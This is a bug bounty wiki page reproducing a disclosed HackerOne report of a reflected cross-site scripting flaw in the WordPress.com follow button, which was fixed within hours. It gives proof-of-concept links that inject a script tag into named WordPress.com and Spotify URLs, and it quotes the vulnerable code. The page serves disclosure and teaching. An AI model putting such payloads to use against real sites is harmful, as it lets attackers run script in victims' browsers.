Skip to content
XSS Disclosed report Beginner

Follow Button XSS

The WordPress.com follow button inserted unsanitised URL parameters into the page, allowing an attacker to inject a script that executes when a user clicks the follow button. An attacker could craft a link that runs arbitrary JavaScript in the victim's browser on any WordPress site using the button.

bobrov Follow

Originally disclosed on HackerOne

  • Triaged in 2 hours
  • Fixed in 5 hours
  • Paid in 6 hours
  • Disclosed after 30 days

PoC

  1. Open link
  2. Click "Follow" in the bottom right-hand corner

XSS Should work on any wordpress site with this Follow button. fbd.isLoggedIn must be equal to false.

https://apps.wordpress.com/support/"><script>alert(document.domain)</script>
https://labs.spotify.com/"><script>alert(document.domain)</script>
https://news.spotify.com/tr/"><script>alert(document.domain)</script>

Vulnerable Code apps.wordpress.com

HTML
<script type='text/javascript'>
/* <![CDATA[ */
var actionbardata = {
...
"subscribeNonce":"<input type=\"hidden\" id=\"_wpnonce\" name=\"_wpnonce\" value=\"9dca8606d3\" \/><input type=\"hidden\" name=\"_wp_http_referer\" 
value=\"\/support\/\"><script>alert(document.domain)<\/script>\" \/>",
"referer":"https:\/\/apps.wordpress.com\/support\/\"><script>alert(document.domain)<\/script>",
"canFollow":"1"
...
</script>

s2.wp.com/_static/

JavaScript
	// Follow Site
	$actionbar.on(  'click', '.actnbr-actn-follow', function(e) {
		e.preventDefault();

		if ( fbd.isLoggedIn ) {
			showActionBarStatusMessage( '<div class="actnbr-reader">' + fbd.i18n.followedText + '</div>' );
			bumpStat( 'followed' );
			request( 'ab_subscribe_to_blog' );
		} else {
			showActionBarFollowForm();
		}
	} )
	...
		function showActionBarFollowForm() {
		var btn = $( '#actionbar .actnbr-btn' );
		btn.toggleClass( 'actnbr-hidden' );

		$( '#actionbar .actnbr-follow-bubble' ).html( ' \
			...
			<input type="hidden" name="blog_id" value="' + fbd.siteID + '"/> \
			<input type="hidden" name="source" value="' + fbd.referer + '"/> \
			<input type="hidden" name="sub-type" value="actionbar-follow"/> \
			' + fbd.subscribeNonce + ' \
			...
		');

Attachments

Screenshot_at_11-06-11.png
Screenshot_at_11-06-11.png From the original on HackerOne

The original report as published on HackerOne, by bobrov. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

What the attacker needed

Victim clicks a crafted link; victim clicks the Follow button; fbd.isLoggedIn must be false

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A cross-site scripting (XSS) bug lets an attacker run their own JavaScript in someone else's browser. Here, the follow button took parts of the web address and put them into the page without cleaning them, so a crafted link could make the button run malicious code when clicked.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by bobrov

View all

39 more disclosed reports, best first.

More from Automattic

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.